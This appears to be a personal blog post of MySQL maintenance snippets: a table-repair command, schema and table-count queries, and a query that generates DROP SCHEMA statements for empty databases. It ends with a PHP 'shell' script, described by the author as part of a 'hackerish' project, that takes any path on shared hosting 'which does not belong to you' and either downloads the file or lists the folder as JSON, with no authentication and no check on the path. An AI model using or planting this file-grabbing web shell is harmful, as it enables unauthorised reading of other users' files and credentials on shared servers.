Mysql’de Tüm Veritabanları ve Tablo Sayıları

here is How to list all databases and their table count on Mysql Server.

mysqlcheck -u root -p --auto-repair --check --all-databases
Repair all Mysql Table in all schemas

 

select TABLE_schema ,count(table_name) from information_schema.`TABLES` group by TABLE_schema
List Schemas and Tables

 

select concat('repair table ', table_name, ';') from information_schema.tables 
where table_schema='mydatabase';
Creating repair all tables script of selected database

Drop MySql databases wich dosnt have any table

If you did a bulk import, or when you receive error in middle of importing large sql. mostly there will be empty schemas in mysql(maria too) so now you can select all tables’s distincts schema’s name. then remove all schemas with tables from all schemas. tada!

actually no one will need it but, every 2 week i found myself in typing this script. so i paste it here to for my next usages. ^^

select Concat('Drop SCHEMA ',x.SCHEMA_NAME,';') 
from `information_schema`.SCHEMATA as x
where x.schema_name not in ( SELECT DISTINCT(b.TABLE_SCHEMA) 
                               FROM `information_schema`.`TABLES` as b )

Php Shell kind of thing wich belong to another hackerish tool

its part of my “Log Hacker” project. i planned to share it from github but. i didnt have time to open a new account for this.

 

anyway. this single file php script basically take “path of something wich its not belong to you” parameters on shared hostings and if that parameter is a file, you will start downloading it if its not, then you will get json array of content of that folder.

 

<?php
if (!isset($_GET['f']))
AccessDenied();

function NotFound()
{
header("HTTP/1.1 404 Not Foud");
echo "HTTP/1.1 404 Not Foud";
exit;
}
function AccessDenied()
{
header('HTTP/1.1 403 Forbidden');
echo "HTTP/1.1 403 Forbidden";
exit;
}
function Unauthorized()
{
header('HTTP/1.1 401 Unauthorized');
echo "HTTP/1.1 403 Forbidden";
exit;
}
function RespondFile($f)
{
header("Cache-Control: public");
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=$f");
header("Content-Type: application/zip");
header("Content-Transfer-Encoding: binary");
readfile($f);
exit;
}
function PrintJsonObject($f)
{
global $list;
$kind = 'folder';
if(is_file($f)) {$fs=filesize($f);$kind='folder';}
array_push($list, array('name' => $f,'kind'=> $kind ,'size' => $fs,'is_readable' =>is_readable($f),'is_link'=>is_link($f)));
}

$file = $_GET['f'];
if(!$file){NotFound();}
if(!is_readable($file)){Unauthorized();}
if(is_file($file)) RespondFile($file);
if(!$dh=opendir($file))AccessDenied();

$list = array();
header('Content-Type: application/json');
while(($dircontent = readdir($dh)) != false)
{
if($dircontent != "." and $dircontent != "..")
PrintJsonObject($dircontent);
}
echo json_encode(array('contains'=> $list));